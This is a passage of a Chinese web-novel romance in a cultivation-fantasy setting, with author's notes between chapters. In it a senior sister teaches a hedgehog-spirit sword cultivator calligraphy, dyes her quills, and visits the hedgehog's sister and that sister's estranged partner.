裴依宁笑了笑,扶着云榆的手臂,一个用力起身,反手牵住兴致落下的小妖,哄弄地揉揉脑袋,带到桌案边,温声道:“上次教你的,都忘了吗?” 被哄的云榆有了傲娇的资本,嘟哝:“那都好久之前的了。” 师姐只教过她那一次,她现在能记得一些,写成这个样子已经很不错了,更何况,她一个剑修,平日里触碰最多的就是剑,极少有碰到拿笔的时候。 她进入剑法阁这么长的时间,甚少见到峰阁内的师姐妹舞文弄墨。她知道的杜师姐,卞凝和应滟等人,在她印象中,皆是没有动过笔。 所以,不能怪她字写得不好,她压根就没有像学习剑法那般学过。 云榆暗戳戳地想。 这些话当然不能直接说出来,否则那笔杆子就要落在她脑门上了。她琢磨着要不要变回本体,回到本体,她就敢于说出人形时说不出的话了。 思索再三,她选择放弃。 因为师姐已经握住了她的左手,将毛笔塞左手手心,温热的触感蔓延在肌肤,熟悉而依恋的药香味将她层层包裹。 裴依宁笑道:“嗯,都已经过去好久了,再重新教你,好不好?” 她带着云榆落下一笔,轻缓的声音流转在云榆耳边:“我记得上次星星练得就很好,长久不写,总是会生疏,就像是练剑般。星星会长久不练剑吗?” 云榆:“不会。” 裴依宁笑道:“一步步来,不着急。自今日起,上午师姐带你练字,下午你打坐修行,将灵海养好。” 这里过于静谧和安逸,不多做点事,人好像都会变得懒散。 云榆素来听从师姐的话:“都可以,师姐说什么就是什么。” 裴依宁曲指弹了下云榆的额头:“话说得好听,字也要好好练。” 姐姐喜欢弹她脑袋,现在师姐也开始弹她脑袋,据说总是被弹脑袋,脑袋会变笨。 很快,这点念想烟消云散。 裴依宁带着她,运笔游走,墨色在宣纸上晕染,笔尖走过的痕迹,显出光泽感,随后在墨色干涸中消散。 她泄去手腕的力气,被动地跟随着。 第一个“云”字写完,裴依宁松手,夸道:“这不是写得很好吗?” 师姐总是会安慰她的,这字相当于师姐写的,她根本没发挥出作用,师姐夸人总是这般张口就来。 听闻中的裴大师姐,不近人情。 她半点没感受出来。 不对,还是有的,师姐上次在灵丹堂考核中,不怒自威的样子浮现在脑海中。她忍不住打了个寒颤。 还是现在的师姐好。 云榆叹息:“我要是自己能写出这样的字,我就可以骄傲了。” 裴依宁:“会的,先把姓名写好,融会贯通,慢慢就知道怎么写了。” 事实证明,云榆在书法上虽没有太多的天赋,但在长时间的练习下,还是有进步的。 一个上午下来,字体稍稍显露出笔锋,横平竖直,与一开始写的那张相比,赏心悦目不少。 裴依宁夸赞:“星星很棒。” 云榆道:“师姐,你转过去一下。” 裴依宁不明所以地转过身。 数秒后,不加掩饰的傲娇声自下面传来:“那是自然,本星星就是最厉害的。” 这语调,一听便是是某位星星大人的。 裴依宁转回身,只见一团小球快速地爬上桌案,将那张宣纸举起。 小刺猬过于小了,爪臂短短的,那张宣纸几乎将小刺猬遮挡地严严实实,若非是宣纸下方抓着两只同样小小爪子,表面映出一团黑影,恐怕很难注意到后面的小家伙。 偏生某只傲娇的小刺猬丝毫没注意到这点,自顾自地:“看看这字,当真是现世刺猬中写得最好的。”她开玩笑地道,“等我将其带回去,定会震惊所有刺猬,成为刺猬族为数不多的书法之圣。” 她轻咳两声:“到时,一妖得道,鸡犬升天,你身为本星星大人的跟班,也会被其她小刺猬礼待。偷着乐吧。” 裴依宁:“……你能变回人形吗?” 小刺猬咧嘴:“不能。”她放下宣纸,绕开纸上的文字,而后气势汹汹地踩在纸页边缘,捏捏爪子,“本星星写得好累,小跟班给本星星捏捏爪子,奖励你一枚蓝莓。” 裴依宁明白小刺猬为什么要在这个时候变回本体了。 更加理直气壮的和她这个小跟班提要求,提人形时羞于启齿的要求。 人形的脸皮过于薄了,本体的则是有些…… 两者若是结合,就很好了。 裴依宁顺从地过去,拉起已经四仰八叉倒在桌案上的小刺猬的爪臂,揉捏按摩。 小刺猬满足地喟叹声。 “等会我要把写的字拿给姐姐看。”小刺猬突然道,“让姐姐大吃一惊。” 裴依宁默默补充:“把最开始写的一并带过去,更能让姐姐大吃一惊。” 小刺猬受到挑衅,小刺猬炸毛,小刺猬不开心,小刺猬一口咬住裴依宁的手。 小刺猬被提溜起。 小刺猬:“……笨蛋裴依宁。” 一炷香后,气昂昂的小刺猬爪臂下夹着掌叠好的宣纸,迈开短小的下肢,昂首挺胸地走在前面。 在她后面的裴依宁亦步亦趋地跟着。 小刺猬今日走得并不快,也不让她举着,像是在散步。以至于裴依宁只能等小刺猬走出一段距离,再跨步跟上。 还要时时刻刻注意可能停下的小刺猬,以免一脚踩上去。 到达云樾居住的中心殿宇,小刺猬取下叠好的宣纸,拍拍表面,扶着殿前的门槛,爬上去又滚下来。 越过门槛,小刺猬使用了个净身术,扭头看向身后的女人。 太高了,她扬头也只能看见师姐轮廓好看的下巴。 裴依宁问:“要上来吗?” 小刺猬哼哼唧唧地:“好。” 裴依宁蹲下身,双手捧起小刺猬,揣在往里走。 途中遇见离开的冉寻,对方看见她,拱手一礼。 裴依宁回之一礼。 余光中,小刺猬像模像样地拱起手,回礼。 有点可爱。 冉寻愣了下,显然没想到这只小刺猬会行礼,面无表情的神情出现龟裂,眼底隐隐闪过惊讶和欲言又止。 本打算直接走的人,直直地挡在她们身前,一动不动。 裴依宁:“还有事吗?” 冉寻:“我能摸一下她吗?” 裴依宁垂目看小刺猬。 小刺猬也在看她。 纵使本体再如何肆无忌惮,最基本的准则小刺猬还是知道的。 师姐不太喜欢让别人摸她,每每她本体被摸,师姐总是会想方设法地将她摸一遍,然后再和她的人形算账。 小刺猬思考,小刺猬迟疑,小刺猬伸出一只爪子:“可以拉拉我的爪子,不能摸我哦。” 说完,她观察师姐的表情。 没变,应该是安全的。 冉寻拉拉她的爪子,心满意足地离开了。 然,不等小刺猬放松,那只爪子被牵住,裴依宁覆盖住被冉寻牵过的地方,指腹在小刺猬爪背上摩擦。 小刺猬警觉:“我没让她摸。” 裴依宁:“我知道,星星紧张什么。” 小刺猬扬起短短的脖颈:“本星星没有紧张。” 心虚感十足。 裴依宁轻笑声,并未过多纠结。 小刺猬有这份保持距离的心就好。 再往前行至数百步,穿过云樾惯常在的长廊,拐个弯,复又前行数百步,裴依宁站定在内殿外,曲指敲了敲殿门。 内里很快传来脚步声。 先出来的是问亦云,云樾紧随其后而出。 “姐姐,问姐姐,”小刺猬从裴依宁身上跳下,几个蹦跳来到云樾身前,张开双臂,求抱,“把本星星抱起来。” 云樾传音问裴依宁:【需要叫她星星大人吗?】 裴依宁:【星星没有说拜见的话,不用这么唤她。】 收到回音,云樾弯身将小刺猬抱起,瞧见小刺猬拿着的宣纸:“这是什么?” 小刺猬得意:“打开看看。” 云樾依言接过,打开,视线定在上面,表情生出些许怪异。 她难得主动看向问亦云,用眼神询问后者,问亦云看过去,明艳的五官僵滞一瞬,吐出一句:“云妹妹的书法,有一丝你的影子。” 云樾在一道道深浅的折痕中静默。 小刺猬被问亦云的这句话恭维到,姐姐的书法她自是知晓有多厉害,有一丝姐姐的影子,岂不是说她也很厉害。 “还好还好,随手写的。”小刺猬摆摆爪子。 裴依宁察觉出不对劲,扫过去,歪七扭八的字迹映入眼帘。 小刺猬当时只顾着咬她,拿错了。 她念头一动,一道灵光飞出,眨眼间的功夫便是再度回来,带回一张纸页。 裴依宁斟酌着语句:“云姐姐,是这张。” 没等到夸奖的小刺猬听闻此言,踮起下肢,在看清姐姐手中宣纸的内容后,两眼一黑,差点掉下去。 云樾接过裴依宁递来的那张,两两对比下,后给的那张顺眼许多,看上去颇为赏心悦目。 问亦云:“写得挺好,这次的有你一半的影子了。” 云樾:“嗯……星星字写得不错,什么时候练的?” 小刺猬:“……别跟我说话。” 无人再开口。 小刺猬:“师姐,抱我。” 云樾将小刺猬递给裴依宁。 小刺猬默默地转向裴依宁,用后背对着云樾和问亦云,闷声闷气地跌了个大面。 她欲盖弥彰地强词夺理:“第一张不是我写的。” 云樾:“嗯嗯嗯。” 裴依宁:“不是,我作证。” 问亦云:“嗯。” 小刺猬欲哭无泪。 小刺猬变成人形。 云榆站起身,耳尖染上一丝暖色调,她勾起额边碎发,躲在师姐身边,情绪转化地极快:“后面那张是师姐带着我写的。前面那张是我最开始写的。” 她停了下:“这是我一个上午的进步。姐姐和问姐姐帮我看看有什么不足之处,我下次改正。” 裴依宁和问亦云对视一眼,对于小刺猬本体和人形截然不同的性情习以为常。 云榆是这般,云樾也是这般。 问亦云眸色暗了一瞬,云樾许久不曾用本体面对她了,那种黏糊温软只停留在久远的记忆中。 姐妹俩凑在一起,云樾先是将云榆后面写的字夸了一通,随后道:“笔锋可以多带一点,运笔时不要犹豫。你是刚开始练字吧,不用着急,慢慢来,现在写成这样,很好了。” “不过小时候我抓你练字,你总是能找到各种借口,怎么如今自愿练字了?”云樾问。 云榆:“师姐抓着我练的。” 云樾:“嗯?” 云榆道:“师姐会陪着我练,很有成就感。” 云樾:“小时候我看着你练,没有成就感,是吗?” 云榆嗯嗯啊啊地将矛头指向问亦云:“姐姐可以看着问姐姐练。” 云樾:“她的字不需要练。” 云榆:“哦。” 姐姐这是在变相说她字丑。 字好看的不需要练,只有她云小刺猬,少时不努力,现在苦兮兮地多一门功课。 在姐姐这吃过午饭,逗留了会,等到姐姐准备午休了,云榆和裴依宁离开了中心殿宇。 回去的路上,云榆翻看着两张宣纸,上方的文字对比太过惨烈:“师姐,我在书法上算不算有一点点小天赋。” “依照这样下去,每日练字两个时辰,等回到宗门的时候,我就能写得一手好字了。”云榆极好满足地,“回去吓杜师姐她们一大跳。” 裴依宁莞尔:“方才本体时,可不是这样的。” 云榆不好意思地收起两张宣纸,放入空间储物中:“其实我也不太清楚,我和师姐说过的吧。本体和人形时的心态会很不一样。” 她扭扭脖子:“例如我每次想要怼师姐的时候,就会化成本体。” 人形说不过师姐的时候,本体出现,便可以耍赖,理不直气也壮。 这个例子举得不太好,趁师姐没反应过来,云榆连忙接着道:“但想和师姐亲密的时候,人形会比较好。” 师姐可不会亲她的本体。 坏师姐,她的本体那么可爱,竟然只摸不亲。 她扭扭脖子:“话说到现在还是没见到姐姐的本体,下次去找姐姐,我定要缠着姐姐变成本体。” 裴依宁静静听着云榆的碎碎念,等她说累了,才是插上一句:“为什么会想要怼我呢?” 这都没能转移师姐注意力。 云榆编织理由:“不是怼,是……另一种亲密行为。”陷竹赋 作者有话说: 来晚了 (跪倒) 这段时间太忙了,每天头都是昏昏沉沉的。 今天写着写着睡着了 还有几章就正文完结啦 第97章 第九十七章[VIP] 在风浅念和原以诗离开问玉宫后的半个月, 裴依宁收到了两人的传音。 先是言明她们二人中途在一座城池耽误了时间,不久前才抵达明越宗,随后去了趟宗主殿堂同明柏澜回话,再之后就是前往灵丹堂和剑法阁替裴依宁和云榆带话。 云榆捏着毛笔杆, 这段时日每天两个时辰的书法练习, 她的字体依稀透出笔锋,带着剑修惯常的凌厉。 她不时眼巴巴地望一眼身侧坐着的女人, 此刻女人正灵识外放, 与风浅念传音交谈。 云榆体内灵力恢复得差不多,灵珠光泽圆润, 裴依宁察觉到她的视线,没有瞒着她, 让练字的人感知到微末的灵力波动。 等空气中的波动停下,云榆压着笔杆:“师姐,是明越宗的消息吗?” 裴依宁:“浅念传过来的,她已经去剑法阁替你看过了,卞凝和应滟的伤势不重, 在她们二人回去前就痊愈了。” 云榆松了口气:“那就好。” 一根长木尺伸过来, 不轻不重地落在她的手背处, 白皙的肌肤慢慢见红。云榆缩了下手, 抚摸上被打的手背。 裴依宁悠悠地坐着, 食指搭在木尺上方, 淡淡开口:“别分心,继续写, 才过去半个时辰, 还有一个半时辰,别想着偷懒。” 云榆哭唧唧地认命。 前几日她将最新成果拿给姐姐品鉴时, 姐姐和师姐打趣她小时候为了偷懒躲避各种练习的事,还让师姐好好看着她将字练好,别再写得一手狗爬字。 今日,师姐不知道从什么地方摸了一把长木尺,每每她分心不认真时,裴依宁就用这根木尺敲她的手背。 眼见这根木尺要再度落下,云榆错身避开,聚在笔尖下墨汁被她这么一带,径直滴落在宣纸上,晕染出数朵大大小小的墨色花朵。 题写上的字也不能幸免。 云榆眉头重重跳了几下,余光中,师姐抬了下手,对她勾了下手。 云榆咽了下喉咙,挪步过去:“师姐。” 裴依宁问:“躲什么?” 云榆悻悻地:“下意识避开。” 裴依宁把玩着这根长木尺,翻面转过,棱角印在掌心,带着些许压力:“我看看你方才写的字。” 云榆看了眼被甩上墨点,不忍直视的纸面,舔了下唇:“等会再看吧,师姐,我再写点。” 裴依宁歪头,纸面上的状况被她尽收眼底,她好以整暇地点点头:“也行,好好写。在剑法上那般专注,怎么在这种地方,总是不用心呢?” 她顿了顿,将木尺放到桌案上,起身:“不喜欢练字吗?”她握住云榆被敲过数次的手背,上方的红褪去,“不喜欢的话,就先不练了,等哪次有兴趣,再练也可。” 强逼着做不喜欢的事,反而会产生更为强烈的抵抗情绪,前几日云榆倒是乖巧,每日的练字甚少如今日这般不专注。 许是新鲜感过去了。 现今能练成这样已是不错了。 云榆微垂着头,肌肤上的触感温软明显,她虚虚地抵住师姐的额头:“没有不喜欢,师姐在身边,做什么我都是喜欢的。”她略有羞涩地,“只是,”她不自觉地瞟了眼桌案上的木尺,哽住要说的话,“没事,我继续练。” 只是师姐今日拿了这样东西过来,她的心思总是会不由自主地被牵引,尤其是在第一板落下时,心思更是飘飞到不知哪里去了。 云榆拎起墨汁半干的笔,在砚中沾过墨汁,细长的指曲起,执笔,将上一张宣纸上的内容尽数誊写下。 裴依宁不明所以,但见她专心致志的模样,索性斜靠在桌案边,要捻不捻地搭上木尺。 指下的微凉让她垂眸看去,方才云榆似乎多看了两眼这个。 莫不是因为这个,裴依宁试探性地将木尺拿起。 云榆运笔的动作顿了瞬,落下的那笔因为这一停顿,而使得其看上去极为别捏。 裴依宁心中了然,真的是因为这根木尺。她反身将其当着云榆的面放到空间储物中,揉了揉面身侧小妖的头:“好好写,慢慢来,师姐在这陪着你。” 东西消失,云榆绷起的身体稍稍松懈几分,流畅地将剩下的内容写完,双手捧起,递到裴依宁身前,笑眼明显:“师姐,有进步吗?” 裴依宁:“有进步。” 云榆笑意更深:“总不会是刺猬爬字了吧。” 裴依宁轻笑:“不是,不过这个榆字,有些僵硬了,运笔时不要犹豫,一笔落下,不管好不好,不要回过头再去描,描她反而会失去美感。” 云榆哦哦了两声,记在心里:“可是有时写着,墨汁不够了,不描的话,会有些看不清。” 她总是等写不出了才记得沾墨,然后在要断不断处,重写描上一遍,为了避免描出界线,描时总是会放缓速度,导致字体板板正正,僵硬感十足。 云榆瘪瘪嘴,在脑海里不断重复:“记得沾墨,记得沾墨。” 裴依宁道:“留有枯笔,也不全然是件坏事。嗯……反正不要描。” 云榆若有所思地“嗯”了声,新起了张宣纸。 她这些天练字用的多是自己的名姓与诗词歌赋。师姐的名姓到现在没有完整的写下过,她想等字再好看些,再去写师姐的名姓。 成就感和意义感满满。 云榆咧唇,继续练字。 这次她记得裴依宁的话,即使忘记提前沾墨,也不去描。 裴依宁凑过去,在她写下一个字之前,握住小妖的手,带着写了一张:“这张写得就很好,继续保持。” 不知是不是为了安抚她,剩下的时间,师姐一刻不分离地带着她写,时不时鼓励两句,温柔细致的不像话。 今日练字的两个时辰一闪而过,云榆揉揉酸疼的手腕,心满意足地望着越发好的字体,挤到裴依宁身前,一头扎进女人怀中:“师姐,你会这么教导灵丹堂的师姐妹吗?” 裴依宁单手回抱住她,另一只将滚落的毛笔移至笔架:“怎么这么说?” 云榆仰起头,唇擦过裴依宁的下巴:“就是像现在这样,手把手带着练。” 裴依宁回绝地很快:“不会。”她缓和语气,“我会演示给她们看如何炼制丹药,但不会如你所说的手把手教。” 小妖一天天的脑子里想的都是些什么,道侣与师姐妹怎么能一样,即使是关系甚佳的几位好友,也难以做到这步。 她反问:“换言之,你会让别人手把手教你吗?” 云榆思索:“看情况吧。”周身温度低了几分,小妖难得有眼力见一回,“当然不会。” 师姐都将答案扔在她眼前了,若是再答错,师姐用木尺敲她,她也没得反击了。 她蹭了蹭裴依宁:“师姐,下午不练剑了,好不好?” 裴依宁:“好。” * 这里的日子太悠闲了,云榆双腿交叠地坐在殿前,脊背松松垮垮地搭在椅子上。 原以为今日下午不练剑是有别的事,结果只是单纯的不想练剑。 裴依宁想起云樾说这只小妖惯常会的偷懒,今日她是见识到了。 手中的丹方典籍没能翻到几页,书页上落下投影。 云榆探过头,纸页上晦涩难懂的文字看得她眉心直皱起。 好难的样子。 她移步过去,安静地蹲在裴依宁身边,拉着女人腰间的束带,晃晃悠悠地玩。 裴依宁注意力分给她几分:“无聊吗?” 云榆点点头,又摇摇头:“就是觉得,一直在这待着,一点都不好玩。” 这里认识的人只有师姐和姐姐,问亦云虽说是姐姐道侣,可她每次与对方碰上,交谈并没有想象中的自然。 她唯一的便利就是能和师姐时刻黏腻在一起,以至于她现在面对师姐时,越发的大胆了。 她扯动牵着的束带,再一用力,便是能将其解开。 她轻声:“师姐,想要你亲我。” 裴依宁将书放置到一边,拉起蹲着的小妖,拍拍自己的腿:“坐上来。” 云榆长腿一迈,跨坐在师姐腿上,双手自然而然地圈住师姐的脖颈:“师姐,”她呢喃地含上师姐的唇,“你真好。” 白日下,在殿外,再如何都不能过于肆无忌惮,浅尝辄止后,她靠在师姐怀中,像只巨大的宠物。 裴依宁回抱住她:“等回宗了,搬到师姐那住吧。” 云榆弯唇:“好啊。” 裴依宁皱皱眉:“但这样的话,你就要两头跑了。” 云榆无所谓地:“用不了多长时间,大不了我每日早起半柱香的时间,不是什么大事。”她上半身往后靠了些,“该不会是师姐反悔,不想和我住一起吧。” 裴依宁:“没有,想和你住在一起。” 望着在她面前越发肆意的小妖,裴依宁心情极好,她希望不论是小妖的人形还是本体,都可以在她面前肆无忌惮。 而不是人形不敢说的话,只能变成本体说。 她记起那根化成齑粉的刺,两人和好如初后,星星还没有给她一根新的。 她捏捏腿上小妖的脸:“星星,你有没有忘记什么事?” 云榆想想,茫然:“什么事?” 裴依宁半边眉梢扬起,笑道:“星星大人赏给小跟班的,用来约定吃饭日期的东西。” “我的刺啊。”云榆反应过来,没想到裴依宁还念着这回事,她道,“现在就给师姐。” 她摇身化作小刺猬,主动背过身去,将满身的刺露在师姐眼前:“师姐选一根。” 话音刚落,一根刺被捏住,旋即有什么东西压了她一下,随后变得轻松。 紧接着,又重复了遍上面的感受。 小刺猬不解地转过头,半边身体被带的扭曲,她定睛一眼,就见某位师姐端着一盒蓝莓,正在往她的刺上放。 小刺猬:“……又要给我的刺染颜色。” 染色的小刺猬,只是想想就觉得有意思,裴依宁来了兴致。 用蓝莓太过浪费,她从盒中捏出一粒喂到小刺猬唇边,又从空间储物中取出几支小笔。 比毛笔小上数个号。 而后取出几枚紫红色的丹药,放在碟子中,用水打湿。 丹药融化,搅和中变成近乎紫红色。 小刺猬新奇地看着这一幕,问:“这是几品丹药?” 能被这样浪费的,想来不会是高品阶的。 “六品。”裴依宁随口道,“六品足够了,要是染不了,我再试试更高品阶,或是直接将药株磨碎。用药株好像更能取色,”她沉思着,“先看看吧。” 石化的小刺猬闭上嘴。 暴殄天物。 还不如用蓝莓给她染色,蓝莓再贵能贵得过六品丹药。 “丹药遇水化开,涂抹到身上,依旧可以被身体吸收,星星不用担心,”看出她想法的裴依宁道,只是这样药效会差很多,“可以给星星染色吗?” 小刺猬睨了眼碟子中紫红色的液体:“本星星要隔一根刺染一下。” 染完后,一定会非常有气质。 裴依宁道:“好。” 小刺猬四肢摊开,爬在桌案上,裴依宁搬过去,先是摸摸小刺猬的后背,选出最上方的刺,捻起笔,在碟子中吸饱黏腻。 笔尖吻上第一根刺,将紫红色的色调晕染上去。 观察颜色没有异常,裴依宁顺应小刺猬的要求,给第三根刺上色,然而在隔一根刺,给第五根刺上色…… 时光恍然,小刺猬半眯起眼睛爬在那,为了她不让无聊,裴依宁在她面前放了一盒蓝莓,小刺猬抬爪就能摸到。 染色不像练字,小刺猬动动也无妨。 嚼着口中蓝莓,小刺猬咽下后问:“染到哪里了?” 裴依宁眉目温柔,捋了下袖子:“还剩一小半。” 小刺猬:“昂,染好了我要先看。” 裴依宁:“好。” 小刺猬:“我现在就想看。” 裴依宁掐了个指诀,小刺猬面前浮现一道近乎透明的光幕,上面显示着小刺猬后背的景象。 纤长白皙的指虚虚拢住其它的刺,沾有紫红色的笔尖缓而慢地顺着刺尖往下滑动,原本的颜色被覆盖,平铺上一层紫红。 女人掌心移开,呼出被染了大半边色的刺,紫红色与原本的色相撞,别有一番趣意。 就在这时,一只手挡住小刺猬的视线,在小刺猬的注视下,拾起一颗蓝莓。 数秒后,小刺猬在光幕中看见那颗蓝莓被穿入到她的刺中。 小刺猬眨眨眼。 裴依宁问:“星星,这样可以吗?” 小刺猬笑:“现在世界上只有我这么一只独一无二的小刺猬,小跟班可要把我看牢了,不然本星星这么特殊,一定会有大把的人抢本星星的。” 裴依宁:“你一直是只独一无二的小刺猬。” 小刺猬规规矩矩地爬回去,方便裴依宁接下来的染色动作,她双爪叠加在下巴处,脑袋偏向旁边:“师姐,刺可以染色,那我化为人形后,头发可不可以染色。” 裴依宁一边染色一边问:“嗯?什么色?” 小刺猬想了想:“风师姐的发色就很好看。” 她记得风浅念那一头银白色的长发,总有种仙气飘渺感。她自知自己就算染成白色,也不会有那种感觉,但她可以染成别的颜色呀。 比如紫色,红色之类的。 小刺猬幻想着:“师姐,你觉得用染刺的颜色染我的头发怎么样?” 裴依宁眼神都不抬一下:“不行。” 小刺猬不满:“为什么?” 裴依宁按下半抬起身的小刺猬:“没有为什么,别动。” 小刺猬闷声闷气地:“好吧。” 染头发,小刺猬的想法总是这么新奇,她从未听闻过这种说法,即使是风浅念的发色,也是天生的。 染得差不多了,裴依宁将小刺猬提起,左右看看:“怎么样?喜欢吗?” 小刺猬扭动身体,眉心蹙起,小爪子指了指另一边:“这边也要放一个蓝莓,不然看着好不舒服,左右各一个,才是最好的。” 裴依宁依言,捏了枚蓝莓卡在小刺猬另一侧的刺上,看上去对称了许多。 “不错,”小刺猬伸了个懒腰,“挺好看的,师姐,你说我顶着这副模样,去外面让别人花钱看我,能不能赚很多灵石。” 裴依宁正要回答,两道气息传入。 云樾与问亦云并肩而入,一眼便瞧见站在桌案上,气派模样的小刺猬,隐约中,小刺猬的后背好像背着什么东西。 颜色星星点点的。 云樾生出一种不太好的预感:“赚什么很多灵石?” “姐姐,你来了,”小刺猬转身,兴高采烈地要跳下桌案,转念记起背上的两颗蓝莓受不住剧烈的运动,会掉下来的,她止住小步子,“姐姐,你过来一下。” 云樾迟疑地走过去,小刺猬正面对着她,她无法看清小刺猬的背面,但方才那一瞥,足够她消化会:“你后面是什么?” 小刺猬眼珠子一转,给裴依宁使了个眼色,传音道:【小跟班,看看本星星是如何用智慧赚取灵石的。】 她爪子抵住唇,咳嗽两声:“想看吗?” 云樾:“想看。” 裴依宁想要阻止,但显然小刺猬在兴头上,一双漆黑的瞳孔中闪烁着晶莹的光,她下肢往前一伸,双爪环抱:“本星星现在是特殊的小刺猬,轻易不给看。如果你愿意支付我一枚灵石的话,我就给你看。” 云樾:“……” 裴依宁:“……” 问亦云:“……” 云樾深呼吸一口气。 问亦云摸出一块灵石递到小刺猬身边,靠近而后,居高临下,她清楚地看见小刺猬的后背,素来明艳张扬的人面上出现些许裂痕。 她疑惑地看向裴依宁,最后视线落在云樾身上,浅浅地舒了一口气,后有记起什么,抿住唇,往后退去。 小刺猬趁热打铁:“问姐姐,你看也要支付灵石。一枚灵石,买不了吃亏,买不亏上当,穷不了你,富得了我。” 一下子赚到两枚灵石,简直是富贵了。 云樾轻声:“过于鲜活了,”她侧目,“你要看吗?” 云樾在询问她的想法,问亦云唇角的弧度几乎要压不住,她绷着身体,又走了过去,再度在小刺猬不知情的情况下,将小刺猬再度看了遍。 收到两枚灵石的小刺猬将其丢给师姐:“替我收着。” 她自信满满地转过身,趴回桌案上:“看吧。” 紫红色遍布在刺上,两枚蓝莓挂在刺上,随着小刺猬轻盈地转动身体,那蓝莓要掉不掉地游移着。 云樾瞳孔猛缩,问亦云急忙扶住她。 “我没事,”她轻轻推开问亦云,半晌后,云樾给出评价,“挺好看的” 小刺猬道:“是吧,姐姐要不要也染一个,师姐手艺超级好。” 兜兜转转好几回,都没能看见姐姐的本体,小刺猬本来都要忘记这回事了,如今记忆又被勾起。 姐姐的本体比她要大上一圈,毛发的颜色浅上一圈,染上淡一点的颜色,定然也是不错的。 但依照姐姐的性格,大抵是不愿意的。小刺猬倒也没有强求的意思。 她兴致勃勃地追问:“姐姐今日怎么来找我了。” 云樾道:“散步路过,便是进来看看。” 她走过去,拾起一颗蓝莓要填入口中,余光瞧见小刺猬刺上的蓝莓,登时没了吃下去的欲望,左右拿出来不好放回去。 她朝着问亦云歪了下头,后者走上来,云樾将那枚蓝莓塞入她口中。 问亦云含在口中。 云榆跟着拿起一颗:“这些都是干净的,本来想多在刺上戳几个的,但太浪费了,就没用。”她以为姐姐是怕酸,继续道,“很甜的,尝尝。” 云樾弯身,就着小刺猬递过来的爪子吃下。 裴依宁入内搬了两张椅子给两人。 “对了,姐姐,你们还没忙完吗?”小刺猬坐在桌案边,两条下肢悬在空中,她托起半边脸颊。 每次去找姐姐的时候,姐姐多是在看书作画,亦或者是雕刻,都是些修身养性的事情,并不见所谓的忙碌。 小刺猬略有疑惑。 云樾道:“差不多了,后面会轻松许多,星星可以随时来找姐姐玩。” 之前小刺猬每次去找她时,最后都会因为这方面或者那方面的原因,停留不了多久。 安抚小刺猬般,云樾戳戳小刺猬的鼻子:“姐姐化为本体陪你玩,好不好?” 没想到姐姐会主动提及,小刺猬迟钝了片刻:“现在吗?” 云樾想了想:“如果星星想的话。” 闻言,问亦云目光凝在云樾身上。 云樾的本体…… 她咽了下。 然而,下一刻,云樾淡淡地击碎她想见的梦:“不过只能我们两个人,你师姐和问姐姐都要出去才行。” 想到姐姐本体的性格,小刺猬憋着笑:“好。” 作者有话说: 可恶,又来晚了 浅浅地猜一下姐姐本体的性格呢 第98章 第九十八章[VIP] 数年不曾见到姐姐的本体, 不知道姐姐本体的性格是否如昔日那般,小刺猬期待地甩甩脊背的刺,别在刺上的两颗蓝莓在半空中划出两道高度不一的弧度。 裴依宁抬手接住,避免蓝莓直接砸下, 溅的哪里都是。 小刺猬正巧看过来:“师姐, 问姐姐,你们能到外面等会吗?” 裴依宁自是没意见, 微微颔首, 抬步就要走。 问亦云步子定在原地,拇指指腹摩挲在食指指节上, 她并不想走,她与云樾同住的这些年, 只在初认识时见过对方的本体。 后续的几年,即使云樾维持不住人形,化成本体,也会提前将自己关在殿内,不让任何人进入。 她也想见云樾的本体。 但如果不走, 她和云樾间的裂缝会越来越大, 云榆来的这一个月, 云樾为了在她妹妹面前演戏, 对她足够的好脸色了。 她垂下眼眸, 缓而慢地转过身, 趴伏在脚底的一团影子蠕动跟随。 裴依宁深深看了眼慢半拍跟上的问亦云,等了等, 与其一前一后出了此座宫殿。 在她们出来的瞬间, 一张半透明的结界瞬起,将殿宇包裹得严丝合缝, 一点生息都无法透出。 使用符纸形成的结界,想来是云樾丢下的符纸。 问亦云苦笑地揉揉疲乏的额头,转头却见裴依宁如冬日的青松,身姿挺直地立在殿门前,纤长的身形在白玉门前衬托地高洁无比。 她压下手,红衣翻飞:“你和她妹妹是如何认识的?又是什么时候结为道侣的?” 她记不清有没有听云榆同云樾说过这些。 裴依宁侧转过身,不卑不亢地:“在宗门内机缘巧合认识,来问玉宫不久前结为的道侣。” 问亦云显然不是真的想知道这些事,只是以此为开场,引出下面的话:“你和云榆初见时,她是以本体见的你吗?” 那夜小刺猬气势昂扬地收她做小跟班的场景历历在目,裴依宁清冷淡然的眉目上闪过点点笑意:“是。” 问亦云故作无意地:“你和云榆闹过矛盾吗?” 裴依宁怔忪:“闹过。” 在小刺猬发现她的真实身份后,很长一段时间都不肯以本体现身见她,人形与她相见时,说话也是夹枪带棍,极为不好惹的模样。 现在回想起来,那时的小刺猬也极为可爱,她弯唇:“闹得挺厉害的。” “原来你们也闹过,”问亦云不知在想什么,低喃自语,“你们闹过后还能这般好,为何云樾却迟迟不肯与我……”咸珠赋 她沉默住,转眼认真看向裴依宁,似乎要从中汲取什么经验,又有种无从下手的犹豫,她挣扎着,朝裴依宁走去。 裴依宁微微向后挪动半步,脊背虚虚靠在殿门上。 “我能问你一个问题吗?”问亦云止步在裴依宁身前,两方距离不远不近。 裴依宁泄下点防备:“宫主请问。” 问亦云:“那日你和云樾单独相见时,她除了说我一意孤行,改变不了什么外,还说了什么吗?” 那日云樾和裴依宁的对话,因着带云榆找来的缘故,她听了后半段,但前半段的话语未能听见。 兴许其中有她和云樾关系破冰的关键。 裴依宁掀起眼帘,礼貌而疏离地扬起唇:“除此之外,还说你待她极好。” 这句话问亦云听见了:“还有别的吗?” 裴依宁摇摇头:“剩下的,多是关于她妹妹的。”瞧出几分端倪的人反问,“敢问宫主,是否是想知道为何会和云姐姐走到如今地步?” 她极其聪明,单是从云樾和问亦云的相处以及今日问亦云的问话,便是能拼凑出两人目前的状态。 无外乎是问亦云做了什么让云樾难以放下的事,以至于云樾不愿意过多搭理问亦云,但又不得不搭理问亦云。 云樾每每下意识喊问亦云的举动和与其对视的眼神,虽不明显,但也不像是不喜欢问亦云的样子。 裴依宁不觉得依云樾的性子,会待在一个毫无感觉的人身边数年。即使这个人愿意耗费巨大的工程量帮她温养调理身体。 若是这样,更多的是感激才对,而不是现在给她的这种又爱又烦闷的感觉。 云樾不愿意化为本体,应当也是有问亦云这层原因的存在。 小刺猬曾说过,本体与人形有着截然不同的性格,小刺猬人形时羞涩有礼,本体时,倨傲活跃,完全无法将其本体与人形匹配。 云樾应当也如此。 她生出好奇,云樾温柔冷静的人形下,藏着什么样的本体。 问亦云透过殿门的缝隙,仿佛能窥见内里的景象:“你能给我答案?” 